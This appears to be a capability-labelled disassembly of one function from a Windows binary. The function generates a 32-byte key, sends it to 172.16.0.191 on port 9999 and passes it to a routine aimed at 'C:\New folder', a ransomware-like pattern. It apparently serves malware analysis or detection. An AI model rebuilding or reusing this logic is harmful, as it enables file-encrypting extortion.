Function at 0x140004e60
Capabilities:
Connect socket
Convert ip address from string
Initialize winsock library
Send data
Send data on socket

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
lea rbp, [rsp - 0x150]
sub rsp, 0x250
mov rax, qword [0x140049050]
xor rax, rsp
mov qword [rbp + 0x140], rax
xor edi, edi
mov qword [rsp + 0x20], rdi
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x38], socket
mov byte [rsp + 0x20], dil
lea ebx, [rdi + 0x20]
nop dword [rax]
call fcn.14000d2a0
mov ecx, eax
and ecx, 0xffffff00
movzx edx, al
mov rcx, qword [rsp + 0x30]
mov r8, qword [rsp + 0x38]
cmp rcx, r8
jae 0x140004ef1
lea rax, [rcx + 1]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x20]
cmp r8, 0x10
cmovae rax, qword [rsp + 0x20]
mov byte [rax + rcx], dl
mov byte [rax + rcx + 1], 0
jmp 0x140004eff
movzx r9d, dl
lea rcx, [rsp + 0x20]
call fcn.14000aad0
sub rbx, 1
jne 0x140004eb0
mov qword [rsp + 0x48], rdi
mov qword [rsp + 0x58], rdi
mov qword [rsp + 0x60], socket
mov byte [rsp + 0x48], bl
lea r8d, [rbx + 0xc]
lea rdx, str.172.16.0.191
lea rcx, [rsp + 0x48]
call fcn.140007ef0
nop
mov ecx, 0x202
lea rdx, [rbp - 0x60]
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x140004f65
lea rdx, str.Winsock_initialization_failed_
lea rcx, [0x14004a850]
call fcn.1400099b0
mov rcx, rax
call fcn.140009c10
jmp 0x140005071
mov edx, 1
mov esi, 2
lea r8d, [rdx + 5]
mov ecx, esi
call qword [sym.imp.WS2_32.dll_socket]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x140004fa4
lea rdx, str.Socket_creation_failed_
lea rcx, [0x14004a850]
call fcn.1400099b0
mov rcx, rax
call fcn.140009c10
jmp 0x14000506b
mov word [rbp - 0x78], si
mov ecx, 0x270f
call qword [sym.imp.WS2_32.dll_htons]
mov word [rbp - 0x76], ax
lea rdx, [rsp + 0x48]
cmp qword [rsp + 0x60], 0x10
cmovae rdx, qword [rsp + 0x48]
lea r8, [rbp - 0x74]
mov ecx, esi
call qword [sym.imp.WS2_32.dll_inet_pton]
test eax, eax
jg 0x140004fe8
lea rdx, str.Invalid_IP_address_
lea rcx, [0x14004a850]
jmp 0x140005055
mov r8d, send
lea rdx, [rbp - 0x78]
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x140005010
lea rdx, str.Connection_failed_
lea rcx, [0x14004a850]
jmp 0x140005055
lea rdx, [rsp + 0x20]
cmp qword [rsp + 0x38], 0x10
cmovae rdx, qword [rsp + 0x20]
xor r9d, r9d
mov r8d, dword [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
jne 0x140005047
lea rcx, [0x14004a850]
lea rdx, str.Failed_to_send_key_
jmp 0x140005055
lea rcx, [0x14004a6d0]
lea rdx, str.Key_sent_to_server_successfully_
call fcn.1400099b0
mov rcx, rax
call fcn.140009c10
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov qword [rsp + 0x68], rdi
mov qword [rsp + 0x78], rdi
mov qword [rbp - 0x80], send
mov byte [rsp + 0x68], 0
mov r8d, 0xd
lea rdx, str.C:New_folder
lea rcx, [rsp + 0x68]
call fcn.140007ef0
nop
mov dword [rsp + 0x40], edi
lea rdx, [rsp + 0x20]
cmp qword [rsp + 0x38], 0x10
cmovae rdx, qword [rsp + 0x20]
lea r8, [rsp + 0x40]
lea rcx, [rsp + 0x68]
call fcn.1400043b0
nop
mov rdx, qword [rbp - 0x80]
cmp rdx, 0x10
jb 0x140005101
inc rdx
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400050fc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400051cc
call fcn.14000e390
mov qword [rsp + 0x78], rdi
mov qword [rbp - 0x80], send
mov byte [rsp + 0x68], 0
mov rdx, qword [rsp + 0x60]
cmp rdx, 0x10
jb 0x140005150
inc rdx
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000514b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400051d2
call fcn.14000e390
mov qword [rsp + 0x58], rdi
mov qword [rsp + 0x60], socket
mov byte [rsp + 0x48], 0
mov rdx, qword [rsp + 0x38]
cmp rdx, 0x10
jb 0x14000519c
inc rdx
mov rcx, qword [rsp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005197
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400051c6
call fcn.14000e390
xor eax, eax
mov rcx, qword [rbp + 0x140]
xor rcx, rsp
call fcn.14000e370
lea r11, [rsp + 0x250]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret
call fcn.140018d30
nop
call fcn.140018d30
nop
call fcn.140018d30
int3